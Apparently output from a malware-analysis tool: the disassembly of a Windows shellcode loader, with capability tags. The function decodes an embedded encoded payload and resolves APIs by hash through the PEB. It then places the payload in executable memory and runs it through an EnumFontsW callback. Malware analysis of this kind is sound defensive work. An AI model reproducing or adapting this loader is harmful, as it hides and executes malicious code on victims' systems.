Function at 0x140002c10
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea r14, str.Kb_5owoQiWmNowcQRYBP5mu0i5RYqZWK2l5bf3eSvjsmQrT_DoXMOuEjhtrOY0cW5kluk3zQTbOiuQazY_bgcx4upKr_GdQ3XGwJLn8Wtv1I7SvsVxvIb4hsZ_O8G6RnXdLwGtscW25ePDs7BPd8qqKyNtbaoVa1KH53UxpbuTq_0K7eSSDNKB1hGE2YU57AhkHkZrVfk2iYG4s5q7ba4dEqUhpjj7KDyxBwYU4eyP8LuxbMecY8_VbwU51YqnGbyFQdxBLPEM6sWKpk7fQxlDdyBjEikTWxEU9Z4OAHCSP3WHcF6bXGKZZOjqxwU555SLfyK1nyg82wHRJOxr7_AbkEDBwxdpDdJ_ow2c1bzG11T0RWaJJxZxaSK0Ke6jlpgQFMNTu0HlUIQtSWIMnNyuXV896feOeZV2H1dUeFvpcX0vM6KU8Fq_oNL4ejRYhykKJdEGPK1tR_WQYQ81UZcX4qDJt2iUGdrW6Uh2rDEAgT_oFGPupbBRPLKoi_sGRPczfdGBTdcUh1CEqpACxg_8EgAHpZ0EXZoozpZRTMgrqJrZpuFsef9jPEYQbFR9phRV5pAK_FacFasgUIeGjsgQcWbF1EbvQuCh0W5Am59zHGlK6_8HBz8KayBHyWIN4yHzchUi6_FhLZFO4_rvaoHSSA8nYSTHxi3c1Rh9iFrtkJ9SIjDKWJsXEfeGsivFv9LE_ckJwPq1FzcxNjj1eD3TXpuqqzRtkI
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [r14 + rbx], 0
jne 0x140002c56
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140002ffe
xor ebp, ebp
cmp rbx, 0xf
ja 0x140002ca3
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], 0xf
mov r8, rbx
mov rdx, r14
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x20], bpl
jmp 0x140002d3a
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140002cdc
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400032e4
test rax, rax
je 0x140002fc9
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002d19
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140002cf9
mov rsi, rbp
jmp 0x140002d19
cmp rcx, 0x1000
jb 0x140002d11
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003004
jmp 0x140002cbd
call fcn.1400032e4
mov rsi, rax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], bpl
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140001b00
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140002d8a
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400032b0
lea rsi, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rsi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x50]
shr r14, 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140002e36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002e36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x26c70d5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140002e31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140002e10
cmp r8d, 0x73c42f13
je 0x140002e3b
test r9d, r9d
jne 0x140002df0
mov rax, qword [rax]
jmp 0x140002dc0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
mov edx, 1
mov rcx, r14
call r8
mov r15, rax
mov r14, qword [rsp + 0x50]
test r14, 0xfffffffffffffffe
jbe 0x140002e9e
mov rbx, rax
mov r8, rbx
lea rdx, str._02x
mov rcx, rsi
call fcn.140002bb0
add rsi, 2
inc rbp
inc rbx
mov r14, qword [rsp + 0x50]
mov rax, r14
shr rax, 1
cmp rbp, rax
jb 0x140002e72
shr r14, 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140002f36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002f36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r11
mov r8d, 0x6de126d5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140002f31
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140002f10
cmp r8d, 0xbfb7e991
je 0x140002f3b
test r9d, r9d
jne 0x140002ef0
mov rax, qword [rax]
jmp 0x140002ec0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movsxd rbx, r14d
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call r10
mov rdi, rax
mov r8, rbx
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
xor r9d, r9d
mov r8, rdi
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002fd5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fd0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002fd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400032b0
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140003290
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call fcn.140001ae0
int3
call fcn.140001a40
int3